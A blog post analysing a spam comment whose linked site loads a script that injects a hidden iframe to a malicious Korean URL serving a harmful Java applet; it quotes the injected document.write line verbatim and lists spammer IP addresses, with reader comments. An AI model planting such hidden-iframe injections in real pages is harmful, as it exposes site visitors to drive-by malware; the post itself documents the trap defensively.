Anatomy of a spam comment
by Volker Weber
[CAUTION: Do NOT load any of the URLs mentioned below]
Today I have received yet another spam comment that tried to install a link to a site which calls itself "A WebSite for creative intellectuals" and pretends to educate you on the usage of The Gimp. This has happened before: Twice on 29.09.2004 from IP address 141.30.207.43, which belongs to the data center of the Technical University Dresden, and again from the same address on 5.6.2006. On 10.11.2006 the spammer has moved to 131.188.3.20, which (as the address used above) belongs to the Friedrich Alexander University Erlangen-Nuernberg. The site which the spammer links to belongs to a person with an address in Dresden.
If you examine the source code of the site, you will find that it loads /data.htm, which in term loads /ad/s-block.js which contains an interesting line:
document.write('<iframe src="http://x- road.co.kr/ric h/out.php" width=1 frameborder=0 vspace=0 hspace=0 marginwidth=0 marginheight=0 scrolling=no width=0 height=0></iframe>');
This translates to an iframe loaded from http://x-road.co.kr/rich/out.php. This PHP script evaluates the referrer and either takes you to Yahoo.com or loads a malicious Java applet. Here is what Google has to say about this address:
And if you ask Google who links to this trap, you will find sites like sixtus.net, Schockwellenreiter, Mein Parteibuch, etc.
Comments
very interesting! thank you.
Vielleicht sollte man Google Adsense mal darauf aufmerksam machen, denn entweder handelt es sich um einen Adsense-Großkunden (zu erkennen am fehlenden Google-Logo bei der unten eingeblendeten Anzeige), oder die Jungs haben das Adsense Script verbotenerweise geändert. Soweit ich weiß, ist z.B. "google_hints" noch in der Testphase und nur für ausgewählte Kunden verfügbar.
Bei mir wird von der "/data.htm" übrigens nicht "/ad/s-block.js" aufgerufen, sondern "/ad/h-block.js".
Er lädt beide.
Post a comment
Recent comments
Nick Shelness
on Foldershare, R.I.P. at 16:55
Nick Shelness
on Foldershare, R.I.P. at 16:43
Ralf M Petter
on Foldershare, R.I.P. at 15:32
Jan Tietze
on Foldershare, R.I.P. at 14:12
Ole Saalmann
on Foldershare, R.I.P. at 13:33
Stefan Weigand
on Doc Scrubber cleans your Word document at 13:21
Doug Petrosky
on Apple TV: First impressions at 13:00
ursus schneider
on Apple TV: First impressions at 09:16
Armin Roth
on Doc Scrubber cleans your Word document at 08:56
Volker Weber
on Foldershare, R.I.P. at 08:28
Ralf M Petter
on Foldershare, R.I.P. at 08:10
Ralf M Petter
on Foldershare, R.I.P. at 08:09
Mariano Kamp
on Foldershare, R.I.P. at 07:58
Volker Weber
on Apple TV: First impressions at 06:48
Kevan Emmott
on Apple TV: First impressions at 04:44
Robert Dahlem
on Doc Scrubber cleans your Word document at 22:14
Andrew Pollack
on Jehovah at 20:11
John V. Keogh
on Apple TV: First impressions at 19:57
Jan Fuellemann
on Apple TV: First impressions at 19:22
Volker Weber
on Doc Scrubber cleans your Word document at 18:14
Michael Renner
on Doc Scrubber cleans your Word document at 17:01
Ben Poole
on Apple TV: First impressions at 15:05
Ben Poole
on Jehovah at 15:03
Chris Linfoot
on Doc Scrubber cleans your Word document at 14:50
Philipp Sury
on Apple TV: First impressions at 14:50
Click here to subscribe
